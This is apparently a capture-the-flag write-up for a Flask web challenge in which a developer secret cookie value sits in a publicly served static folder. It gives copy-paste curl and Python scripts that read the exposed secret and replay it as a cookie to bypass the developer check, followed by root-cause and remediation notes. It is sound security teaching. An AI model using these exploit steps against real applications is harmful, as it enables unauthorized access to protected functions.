Renderer
TL;DR: The app stored the developer “secret” under /static/…, so we could read it directly, set the matching cookie, and grab the flag.
🧩 Challenge Overview
- Category: Web
- Goal: Retrieve the flag from
/developer
- Stack: Flask (Python)
- Key files:
app.py
templates/upload.html
,templates/display.html
static/uploads/secrets/secret_cookie.txt
← (publicly served!)
flag.txt
🔍 Source Review (Quick)
/upload
lets you upload images with extensions:jpg
,jpeg
,png
,svg
.
/render/<filename>
shows uploaded files inside an<iframe>
pointing to/static/uploads/...
.
/developer
:- Reads cookie
developer_secret_cookie
- Compares it to the contents of
./static/uploads/secrets/secret_cookie.txt
- If the file is empty, it seeds a random hex and refuses access
- If cookie matches the file, it rotates the secret (writes a new one) and returns the flag
- Reads cookie
Bug: secret_cookie.txt
is under /static
, i.e., world-readable at:
/static/uploads/secrets/secret_cookie.txt
✅ Exploitation Plan
- Hit
/developer
once to ensure the secret is initialized (seeding step).
- Read the current secret directly from the public static path.
- Call
/developer
again with a cookie headerdeveloper_secret_cookie=<SECRET>
.
- Receive flag (server then rotates the secret).
🛠️ Step-by-Step (Copy/Paste)
Option A: curl
# 1) Seed (creates a secret if the file was empty)
curl -s http://HOST:1337/developer > /dev/null
# 2) Read the secret
SECRET=$(curl -s http://HOST:1337/static/uploads/secrets/secret_cookie.txt)
# 3) Present matching cookie to get the flag
curl -s -b "developer_secret_cookie=$SECRET" http://HOST:1337/developer
Expected output:
Welcome! There is currently 1 unread message: FLAG{...}
Option B: Python (requests)
import requests
base = "http://HOST:1337"
# 1) Seed (in case secret file is empty)
requests.get(f"{base}/developer")
# 2) Read the public secret
secret = requests.get(f"{base}/static/uploads/secrets/secret_cookie.txt").text.strip()
# 3) Send matching cookie
r = requests.get(f"{base}/developer", cookies={"developer_secret_cookie": secret})
print(r.text) # -> Welcome!... FLAG{...}
🧠 Root Cause
- Sensitive secret stored in a public static directory.
- Authentication depends on a value an attacker can read directly.
🔒 Remediation (For Write-ups / Recommendations)
- Do not place secrets under
/static
. Store them outside web root or in env/DB.
- Use server-side sessions or a signed/HttpOnly cookie (e.g., Flask session with
SECRET_KEY
).
- Validate uploads safely:
- Use
secure_filename
- Use
rsplit('.', 1)
rather thansplit('.')[1]
- Consider disallowing SVG or sanitize it (SVG can run JS).
- Use
- Serve uploads from a segregated domain/origin if possible to limit same-origin risks.
✅ Outcome
- Flag obtained:
FLAG{...}
(redacted here)
- Time-to-flag: ~seconds after reading the public secret
- Impact: Complete bypass of “developer” check via public secret disclosure